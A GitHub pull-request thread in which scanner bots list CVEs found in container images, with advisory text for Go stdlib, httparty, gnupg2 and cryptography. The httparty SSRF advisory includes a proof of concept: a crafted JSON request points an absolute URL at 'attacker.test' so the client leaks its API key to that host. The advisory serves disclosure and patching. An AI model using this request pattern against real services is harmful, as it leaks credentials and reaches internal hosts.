==================================================================

      critical: 0 high: 1 medium: 0 low: 0 golang.org/x/crypto 0.36.0 (golang)

      pkg:golang/golang.org/x/crypto@0.36.0

      high : CVE--2025--47913

      Affected range<0.43.0
      Fixed version0.43.0
      EPSS Score0.032%
      EPSS Percentile9th percentile
      Description

      SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

      critical: 0 high: 1 medium: 0 low: 0 httparty 0.22.0 (gem)

      pkg:gem/httparty@0.22.0

      high 7.8: CVE--2025--68696 Server-Side Request Forgery (SSRF)

      Affected range<=0.23.2
      Fixed version0.24.0
      CVSS Score7.8
      CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
      EPSS Score0.039%
      EPSS Percentile12th percentile
      Description

      Summary

      There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.

      Details

      When httparty receives a path argument that is an absolute URL, it ignores the base_uri field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.

      Consider the following example of a web application:

      require 'sinatra'
require 'httparty'

class RepositoryClient
  include HTTParty
  base_uri 'http://exmaple.test/api/v1/repositories/'
  headers 'X-API-KEY' => '1234567890'
end

post '/issue' do
  request_body = JSON.parse(request.body.read)
  RepositoryClient.get(request_body['repository_id']).body
  # do something
  json message: 'OK'
end

      Now, suppose an attacker sends a request like this:

      POST /issue HTTP/1.1
Host: localhost:10000
Content-Type: application/json

{
    "repository_id": "http://attacker.test",
    "title": "test"
}

      In this case, httparty sends the X-API-KEY not to http://example.test but instead to http://attacker.test.

      A similar problem was reported and fixed in the HTTP client library axios in the past:
      axios/axios#6463

      Also, Python's urljoin function has documented a warning about similar behavior:
      https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin

      PoC

      Follow these steps to reproduce the issue:

      1. Set up two simple HTTP servers.

        mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &

      2. Create a script (for example, main.rb):

        require 'httparty'

class Client
  include HTTParty
  base_uri 'http://localhost:10001'
end

data = Client.get('http://localhost:10002').body
puts data

      3. Run the script:

        $ ruby main.rb
this is server2

      Although base_uri is set to http://localhost:10001/, httparty sends the request to http://localhost:10002/.

      Impact

      • Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.
      • SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.
      • Affected users: Any software that uses base_uri and does not properly validate the path parameter may be affected by this issue.
      critical: 0 high: 1 medium: 0 low: 0 gnupg2 2.4.4-2ubuntu17.3 (deb)

      pkg:deb/ubuntu/gnupg2@2.4.4-2ubuntu17.3?os_distro=noble&os_name=ubuntu&os_version=24.04

      high 7.0: CVE--2025--68973

      Affected range<2.4.4-2ubuntu17.4
      Fixed version2.4.4-2ubuntu17.4
      CVSS Score7
      CVSS VectorCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
      EPSS Score0.012%
      EPSS Percentile1st percentile
      Description

      In GnuPG before 2.4.9, armor_filter in g10/armor.c has two increments of an index variable where one is intended, leading to an out-of-bounds write for crafted input. (For ExtendedLTS, 2.2.51 and later are fixed versions.)

      @github-actions
      Copy link

      github-actions bot commented Jan 16, 2026 •
      edited
      Loading

      Outdated

      Recommended fixes for image ghcr.io/dependabot/dependabot-updater-core:latest

      Base image is ubuntu:24.04

      Name24.04
      Digestsha256:4fdf0125919d24aec972544669dcd7d6a26a8ad7e6561c73d5549bd6db258ac2
      Vulnerabilitiescritical: 0 high: 1 medium: 4 low: 4
      Pushed3 months ago
      Size30 MB
      Packages131
      OS24.04
      The base image is also available under the supported tag(s): latest, noble

      Refresh base image

      Rebuild the image using a newer base image version. Updating this may result in breaking changes.

      ✅ This image version is up to date.

      Change base image

      TagDetailsPushedVulnerabilities
      26.04
      Major OS version update
      Also known as:
        		 Benefits:
        • Image contains 9 fewer packages
        • Tag was pushed more recently
        • Image has similar size
        • Image introduces no new vulnerability but removes 9
        • Major OS version update
        Image details:
        • Size: 34 MB
        • OS: 26.04
        		 1 month ago



        25.10
        Major OS version update
        Also known as:
        • rolling
        • questing
        • questing-20251217
        		 Benefits:
        • Image contains 7 fewer packages
        • Tag was pushed more recently
        • Image has similar size
        • Image introduces no new vulnerability but removes 9
        • Major OS version update
        Image details:
        • Size: 34 MB
        • OS: 25.10
        		 4 weeks ago



        25.04
        Major OS version update
        Also known as:
        • plucky
        • plucky-20251001
        		 Benefits:
        • Image is smaller by 10 KB
        • Image contains 9 fewer packages
        • Image introduces no new vulnerability but removes 1
        • Major OS version update
        Image details:
        • Size: 30 MB
        • OS: 25.04
        		 3 months ago



        @renovate renovate bot force-pushed the renovate/ansible-ansible-lint-26.x branch from c867e55 to e455abe Compare February 25, 2026 18:54
        @github-actions
        Copy link

        github-actions bot commented Feb 25, 2026 •
        edited
        Loading

        Outdated

        🔍 Vulnerabilities of tonistiigi/binfmt:latest

        📦 Image Reference tonistiigi/binfmt:latest
        digestsha256:fb4f8f43716ffaf2802bb32cd60994de149d020f8b1c7e7ddfbdfb43a521ec82
        vulnerabilitiescritical: 0 high: 0 medium: 0 low: 0
        platformlinux/amd64
        size36 MB
        packages13

        1 similar comment
        @github-actions
        Copy link

        github-actions bot commented Feb 25, 2026 •
        edited
        Loading

        Outdated

        🔍 Vulnerabilities of tonistiigi/binfmt:latest

        📦 Image Reference tonistiigi/binfmt:latest
        digestsha256:fb4f8f43716ffaf2802bb32cd60994de149d020f8b1c7e7ddfbdfb43a521ec82
        vulnerabilitiescritical: 0 high: 0 medium: 0 low: 0
        platformlinux/amd64
        size36 MB
        packages13

        @github-actions
        Copy link

        github-actions bot commented Feb 25, 2026 •
        edited
        Loading

        Outdated

        🔍 Vulnerabilities of ghcr.io/dependabot/dependabot-updater-core:latest

        📦 Image Reference ghcr.io/dependabot/dependabot-updater-core:latest
        digestsha256:bf54b2c91cecf373014f9da2661b8bde31e370172c9d5e3bc190b683ca4e2139
        vulnerabilitiescritical: 6 high: 51 medium: 0 low: 0
        platformlinux/amd64
        size347 MB
        packages597
        📦 Base Image ubuntu:24.04
        also known as
        • latest
        • noble
        digestsha256:98ff7968124952e719a8a69bb3cccdd217f5fe758108ac4f21ad22e1df44d237
        vulnerabilitiescritical: 0 high: 0 medium: 4 low: 5
        critical: 5 high: 38 medium: 0 low: 0 stdlib 1.18.3 (golang)

        pkg:golang/stdlib@1.18.3

        critical : CVE--2025--68121

        Affected range<1.24.13
        Fixed version1.24.13
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.

        critical : CVE--2024--24790

        Affected range<1.21.11
        Fixed version1.21.11
        EPSS Score0.082%
        EPSS Percentile24th percentile
        Description

        The various Is methods (IsPrivate, IsLoopback, etc) did not work as expected for IPv4-mapped IPv6 addresses, returning false for addresses which would return true in their traditional IPv4 forms.

        critical : CVE--2023--24540

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.243%
        EPSS Percentile47th percentile
        Description

        Not all valid JavaScript whitespace characters are considered to be whitespace. Templates containing whitespace characters outside of the character set "\t\n\f\r\u0020\u2028\u2029" in JavaScript contexts that also contain actions may not be properly sanitized during execution.

        critical : CVE--2023--24538

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.646%
        EPSS Percentile70th percentile
        Description

        Templates do not properly consider backticks (`) as Javascript string delimiters, and do not escape them as expected.

        Backticks are used, since ES6, for JS template literals. If a template contains a Go template action within a Javascript template literal, the contents of the action can be used to terminate the literal, injecting arbitrary Javascript code into the Go template.

        As ES6 template literals are rather complex, and themselves can do string interpolation, the decision was made to simply disallow Go template actions from being used inside of them (e.g. "var a = {{.}}"), since there is no obviously safe way to allow this behavior. This takes the same approach as github.com/google/safehtml.

        With fix, Template.Parse returns an Error when it encounters templates like this, with an ErrorCode of value 12. This ErrorCode is currently unexported, but will be exported in the release of Go 1.21.

        Users who rely on the previous behavior can re-enable it using the GODEBUG flag jstmpllitinterp=1, with the caveat that backticks will now be escaped. This should be used with caution.

        critical : CVE--2025--22871

        Affected range<1.23.8
        Fixed version1.23.8
        EPSS Score0.169%
        EPSS Percentile38th percentile
        Description

        The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

        high : CVE--2023--29403

        Affected range<1.19.10
        Fixed version1.19.10
        EPSS Score0.009%
        EPSS Percentile1st percentile
        Description

        On Unix platforms, the Go runtime does not behave differently when a binary is run with the setuid/setgid bits. This can be dangerous in certain cases, such as when dumping memory state, or assuming the status of standard i/o file descriptors.

        If a setuid/setgid binary is executed with standard I/O file descriptors closed, opening any files can result in unexpected content being read or written with elevated privileges. Similarly, if a setuid/setgid program is terminated, either via panic or signal, it may leak the contents of its registers.

        high : CVE--2025--61729

        Affected range<1.24.11
        Fixed version1.24.11
        EPSS Score0.017%
        EPSS Percentile4th percentile
        Description

        Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

        high : CVE--2025--61726

        Affected range<1.24.12
        Fixed version1.24.12
        EPSS Score0.026%
        EPSS Percentile7th percentile
        Description

        The net/url package does not set a limit on the number of query parameters in a query.

        While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.

        high : CVE--2025--61725

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

        high : CVE--2025--61723

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

        This affects programs which parse untrusted PEM inputs.

        high : CVE--2025--58188

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2025--58187

        Affected range<1.24.9
        Fixed version1.24.9
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2024--34158

        Affected range<1.22.7
        Fixed version1.22.7
        EPSS Score0.163%
        EPSS Percentile37th percentile
        Description

        Calling Parse on a "// +build" build tag line with deeply nested expressions can cause a panic due to stack exhaustion.

        high : CVE--2024--34156

        Affected range<1.22.7
        Fixed version1.22.7
        EPSS Score0.306%
        EPSS Percentile53rd percentile
        Description

        Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion. This is a follow-up to CVE-2022-30635.

        high : CVE--2024--24791

        Affected range<1.21.12
        Fixed version1.21.12
        EPSS Score0.618%
        EPSS Percentile70th percentile
        Description

        The net/http HTTP/1.1 client mishandled the case where a server responds to a request with an "Expect: 100-continue" header with a non-informational (200 or higher) status. This mishandling could leave a client connection in an invalid state, where the next request sent on the connection will fail.

        An attacker sending a request to a net/http/httputil.ReverseProxy proxy can exploit this mishandling to cause a denial of service by sending "Expect: 100-continue" requests which elicit a non-informational response from the backend. Each such request leaves the proxy with an invalid connection, and causes one subsequent request using that connection to fail.

        high : CVE--2024--24784

        Affected range<1.21.8
        Fixed version1.21.8
        EPSS Score1.498%
        EPSS Percentile81st percentile
        Description

        The ParseAddressList function incorrectly handles comments (text within parentheses) within display names. Since this is a misalignment with conforming address parsers, it can result in different trust decisions being made by programs using different parsers.

        high : CVE--2023--45288

        Affected range<1.21.9
        Fixed version1.21.9
        EPSS Score71.463%
        EPSS Percentile99th percentile
        Description

        An attacker may cause an HTTP/2 endpoint to read arbitrary amounts of header data by sending an excessive number of CONTINUATION frames.

        Maintaining HPACK state requires parsing and processing all HEADERS and CONTINUATION frames on a connection. When a request's headers exceed MaxHeaderBytes, no memory is allocated to store the excess headers, but they are still parsed.

        This permits an attacker to cause an HTTP/2 endpoint to read arbitrary amounts of header data, all associated with a request which is going to be rejected. These headers can include Huffman-encoded data which is significantly more expensive for the receiver to decode than for an attacker to send.

        The fix sets a limit on the amount of excess header frames we will process before closing a connection.

        high : CVE--2023--45287

        Affected range<1.20.0
        Fixed version1.20.0
        EPSS Score0.190%
        EPSS Percentile41st percentile
        Description

        Before Go 1.20, the RSA based TLS key exchanges used the math/big library, which is not constant time. RSA blinding was applied to prevent timing attacks, but analysis shows this may not have been fully effective. In particular it appears as if the removal of PKCS#1 padding may leak timing information, which in turn could be used to recover session key bits.

        In Go 1.20, the crypto/tls library switched to a fully constant time RSA implementation, which we do not believe exhibits any timing side channels.

        high : CVE--2023--45283

        Affected range<1.20.11
        Fixed version1.20.11
        EPSS Score0.083%
        EPSS Percentile24th percentile
        Description

        The filepath package does not recognize paths with a ??\ prefix as special.

        On Windows, a path beginning with ??\ is a Root Local Device path equivalent to a path beginning with \?. Paths with a ??\ prefix may be used to access arbitrary locations on the system. For example, the path ??\c:\x is equivalent to the more common path c:\x.

        Before fix, Clean could convert a rooted path such as \a..??\b into the root local device path ??\b. Clean will now convert this to .??\b.

        Similarly, Join(, ??, b) could convert a seemingly innocent sequence of path elements into the root local device path ??\b. Join will now convert this to .??\b.

        In addition, with fix, IsAbs now correctly reports paths beginning with ??\ as absolute, and VolumeName correctly reports the ??\ prefix as a volume name.

        UPDATE: Go 1.20.11 and Go 1.21.4 inadvertently changed the definition of the volume name in Windows paths starting with ?, resulting in filepath.Clean(?\c:) returning ?\c: rather than ?\c:\ (among other effects). The previous behavior has been restored.

        high : CVE--2023--44487

        Affected range<1.20.10
        Fixed version1.20.10
        EPSS Score94.446%
        EPSS Percentile100th percentile
        Description

        A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.

        With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.

        This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.

        The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.

        high : CVE--2023--39325

        Affected range<1.20.10
        Fixed version1.20.10
        EPSS Score0.150%
        EPSS Percentile35th percentile
        Description

        A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.

        With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.

        This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.

        The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.

        high : CVE--2023--24537

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.013%
        EPSS Percentile2nd percentile
        Description

        Calling any of the Parse functions on Go source code which contains //line directives with very large line numbers can cause an infinite loop due to integer overflow.

        high : CVE--2023--24536

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.070%
        EPSS Percentile21st percentile
        Description

        Multipart form parsing can consume large amounts of CPU and memory when processing form inputs containing very large numbers of parts.

        This stems from several causes:

        1. mime/multipart.Reader.ReadForm limits the total memory a parsed multipart form can consume. ReadForm can undercount the amount of memory consumed, leading it to accept larger inputs than intended.
        2. Limiting total memory does not account for increased pressure on the garbage collector from large numbers of small allocations in forms with many parts.
        3. ReadForm can allocate a large number of short-lived buffers, further increasing pressure on the garbage collector.

        The combination of these factors can permit an attacker to cause an program that parses multipart forms to consume large amounts of CPU and memory, potentially resulting in a denial of service. This affects programs that use mime/multipart.Reader.ReadForm, as well as form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue.

        With fix, ReadForm now does a better job of estimating the memory consumption of parsed forms, and performs many fewer short-lived allocations.

        In addition, the fixed mime/multipart.Reader imposes the following limits on the size of parsed forms:

        1. Forms parsed with ReadForm may contain no more than 1000 parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxparts=.
        2. Form parts parsed with NextPart and NextRawPart may contain no more than 10,000 header fields. In addition, forms parsed with ReadForm may contain no more than 10,000 header fields across all parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxheaders=.

        high : CVE--2023--24534

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.048%
        EPSS Percentile15th percentile
        Description

        HTTP and MIME header parsing can allocate large amounts of memory, even when parsing small inputs, potentially leading to a denial of service.

        Certain unusual patterns of input data can cause the common function used to parse HTTP and MIME headers to allocate substantially more memory than required to hold the parsed headers. An attacker can exploit this behavior to cause an HTTP server to allocate large amounts of memory from a small request, potentially leading to memory exhaustion and a denial of service.

        With fix, header parsing now correctly allocates only the memory required to hold parsed headers.

        high : CVE--2022--41725

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.055%
        EPSS Percentile17th percentile
        Description

        A denial of service is possible from excessive resource consumption in net/http and mime/multipart.

        Multipart form parsing with mime/multipart.Reader.ReadForm can consume largely unlimited amounts of memory and disk files. This also affects form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue.

        ReadForm takes a maxMemory parameter, and is documented as storing "up to maxMemory bytes +10MB (reserved for non-file parts) in memory". File parts which cannot be stored in memory are stored on disk in temporary files. The unconfigurable 10MB reserved for non-file parts is excessively large and can potentially open a denial of service vector on its own. However, ReadForm did not properly account for all memory consumed by a parsed form, such as map entry overhead, part names, and MIME headers, permitting a maliciously crafted form to consume well over 10MB. In addition, ReadForm contained no limit on the number of disk files created, permitting a relatively small request body to create a large number of disk temporary files.

        With fix, ReadForm now properly accounts for various forms of memory overhead, and should now stay within its documented limit of 10MB + maxMemory bytes of memory consumption. Users should still be aware that this limit is high and may still be hazardous.

        In addition, ReadForm now creates at most one on-disk temporary file, combining multiple form parts into a single temporary file. The mime/multipart.File interface type's documentation states, "If stored on disk, the File's underlying concrete type will be an *os.File.". This is no longer the case when a form contains more than one file part, due to this coalescing of parts into a single file. The previous behavior of using distinct files for each form part may be reenabled with the environment variable GODEBUG=multipartfiles=distinct.

        Users should be aware that multipart.ReadForm and the http.Request methods that call it do not limit the amount of disk consumed by temporary files. Callers can limit the size of form data with http.MaxBytesReader.

        high : CVE--2022--41724

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.015%
        EPSS Percentile3rd percentile
        Description

        Large handshake records may cause panics in crypto/tls.

        Both clients and servers may send large TLS handshake records which cause servers and clients, respectively, to panic when attempting to construct responses.

        This affects all TLS 1.3 clients, TLS 1.2 clients which explicitly enable session resumption (by setting Config.ClientSessionCache to a non-nil value), and TLS 1.3 servers which request client certificates (by setting Config.ClientAuth >= RequestClientCert).

        high : CVE--2022--41723

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.195%
        EPSS Percentile41st percentile
        Description

        A maliciously crafted HTTP/2 stream could cause excessive CPU consumption in the HPACK decoder, sufficient to cause a denial of service from a small number of small requests.

        high : CVE--2022--41722

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.175%
        EPSS Percentile39th percentile
        Description

        A path traversal vulnerability exists in filepath.Clean on Windows.

        On Windows, the filepath.Clean function could transform an invalid path such as "a/../c:/b" into the valid path "c:\b". This transformation of a relative (if invalid) path into an absolute path could enable a directory traversal attack.

        After fix, the filepath.Clean function transforms this path into the relative (but still invalid) path ".\c:\b".

        high : CVE--2022--41720

        Affected range<1.18.9
        Fixed version1.18.9
        EPSS Score0.035%
        EPSS Percentile10th percentile
        Description

        On Windows, restricted files can be accessed via os.DirFS and http.Dir.

        The os.DirFS function and http.Dir type provide access to a tree of files rooted at a given directory. These functions permit access to Windows device files under that root. For example, os.DirFS("C:/tmp").Open("COM1") opens the COM1 device. Both os.DirFS and http.Dir only provide read-only filesystem access.

        In addition, on Windows, an os.DirFS for the directory (the root of the current drive) can permit a maliciously crafted path to escape from the drive and access any path on the system.

        With fix applied, the behavior of os.DirFS("") has changed. Previously, an empty root was treated equivalently to "/", so os.DirFS("").Open("tmp") would open the path "/tmp". This now returns an error.

        high : CVE--2022--41716

        Affected range<1.18.8
        Fixed version1.18.8
        EPSS Score0.013%
        EPSS Percentile2nd percentile
        Description

        Due to unsanitized NUL values, attackers may be able to maliciously set environment variables on Windows.

        In syscall.StartProcess and os/exec.Cmd, invalid environment variable values containing NUL values are not properly checked for. A malicious environment variable value can exploit this behavior to set a value for a different environment variable. For example, the environment variable string "A=B\x00C=D" sets the variables "A=B" and "C=D".

        high : CVE--2022--41715

        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.016%
        EPSS Percentile4th percentile
        Description

        Programs which compile regular expressions from untrusted sources may be vulnerable to memory exhaustion or denial of service.

        The parsed regexp representation is linear in the size of the input, but in some cases the constant factor can be as high as 40,000, making relatively small regexps consume much larger amounts of memory.

        After fix, each regexp being parsed is limited to a 256 MB memory footprint. Regular expressions whose representation would use more space than that are rejected. Normal use of regular expressions is unaffected.

        high : CVE--2022--32189

        Affected range>=1.18.0-0
        <1.18.5
        Fixed version1.18.5
        EPSS Score0.113%
        EPSS Percentile30th percentile
        Description

        Decoding big.Float and big.Rat types can panic if the encoded message is too short, potentially allowing a denial of service.

        high : CVE--2022--30635

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.098%
        EPSS Percentile27th percentile
        Description

        Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion.

        high : CVE--2022--30633

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.096%
        EPSS Percentile27th percentile
        Description

        Unmarshaling an XML document into a Go struct which has a nested field that uses the 'any' field tag can panic due to stack exhaustion.

        high : CVE--2022--30632

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.096%
        EPSS Percentile27th percentile
        Description

        Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion.

        high : CVE--2022--30631

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.041%
        EPSS Percentile12th percentile
        Description

        Calling Reader.Read on an archive containing a large number of concatenated 0-length compressed files can cause a panic due to stack exhaustion.

        high : CVE--2022--30630

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion.

        high : CVE--2022--2880

        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.032%
        EPSS Percentile9th percentile
        Description

        Requests forwarded by ReverseProxy include the raw query parameters from the inbound request, including unparsable parameters rejected by net/http. This could permit query parameter smuggling when a Go proxy forwards a parameter with an unparsable value.

        After fix, ReverseProxy sanitizes the query parameters in the forwarded query when the outbound request's Form field is set after the ReverseProxy. Director function returns, indicating that the proxy has parsed the query parameters. Proxies which do not parse query parameters continue to forward the original query parameters unchanged.

        high : CVE--2022--2879

        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        Reader.Read does not set a limit on the maximum size of file headers. A maliciously crafted archive could cause Read to allocate unbounded amounts of memory, potentially causing resource exhaustion or panics. After fix, Reader.Read limits the maximum size of header blocks to 1 MiB.

        high : CVE--2022--28131

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.015%
        EPSS Percentile3rd percentile
        Description

        Calling Decoder.Skip when parsing a deeply nested XML document can cause a panic due to stack exhaustion.

        high : CVE--2022--27664

        Affected range<1.18.6
        Fixed version1.18.6
        EPSS Score0.093%
        EPSS Percentile26th percentile
        Description

        HTTP/2 server connections can hang forever waiting for a clean shutdown that was preempted by a fatal error. This condition can be exploited by a malicious client to cause a denial of service.

        high : CVE--2023--29400

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.048%
        EPSS Percentile15th percentile
        Description

        Templates containing actions in unquoted HTML attributes (e.g. "attr={{.}}") executed with empty input can result in output with unexpected results when parsed due to HTML normalization rules. This may allow injection of arbitrary attributes into tags.

        high : CVE--2023--24539

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.065%
        EPSS Percentile20th percentile
        Description

        Angle brackets (<>) are not considered dangerous characters when inserted into CSS contexts. Templates containing multiple actions separated by a '/' character can result in unexpectedly closing the CSS context and allowing for injection of unexpected HTML, if executed with untrusted input.

        critical: 1 high: 6 medium: 0 low: 0 stdlib 1.24.4 (golang)

        pkg:golang/stdlib@1.24.4

        critical : CVE--2025--68121

        Affected range<1.24.13
        Fixed version1.24.13
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.

        high : CVE--2025--61729

        Affected range<1.24.11
        Fixed version1.24.11
        EPSS Score0.017%
        EPSS Percentile4th percentile
        Description

        Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

        high : CVE--2025--61726

        Affected range<1.24.12
        Fixed version1.24.12
        EPSS Score0.026%
        EPSS Percentile7th percentile
        Description

        The net/url package does not set a limit on the number of query parameters in a query.

        While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.

        high : CVE--2025--61725

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

        high : CVE--2025--61723

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

        This affects programs which parse untrusted PEM inputs.

        high : CVE--2025--58188

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2025--58187

        Affected range<1.24.9
        Fixed version1.24.9
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

        This affects programs which validate arbitrary certificate chains.

        critical: 0 high: 3 medium: 0 low: 0 cryptography 41.0.7 (pypi)

        pkg:pypi/cryptography@41.0.7

        high 8.7: CVE--2023--50782 Observable Discrepancy

        Affected range<42.0.0
        Fixed version42.0.0
        CVSS Score8.7
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
        EPSS Score0.855%
        EPSS Percentile75th percentile
        Description

        A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.

        high 8.2: CVE--2026--26007 Insufficient Verification of Data Authenticity

        Affected range<=46.0.4
        Fixed version46.0.5
        CVSS Score8.2
        CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
        EPSS Score0.007%
        EPSS Percentile0th percentile
        Description

        Vulnerability Summary

        The public_key_from_numbers (or EllipticCurvePublicNumbers.public_key()), EllipticCurvePublicNumbers.public_key(), load_der_public_key() and load_pem_public_key() functions do not verify that the point belongs to the expected prime-order subgroup of the curve.

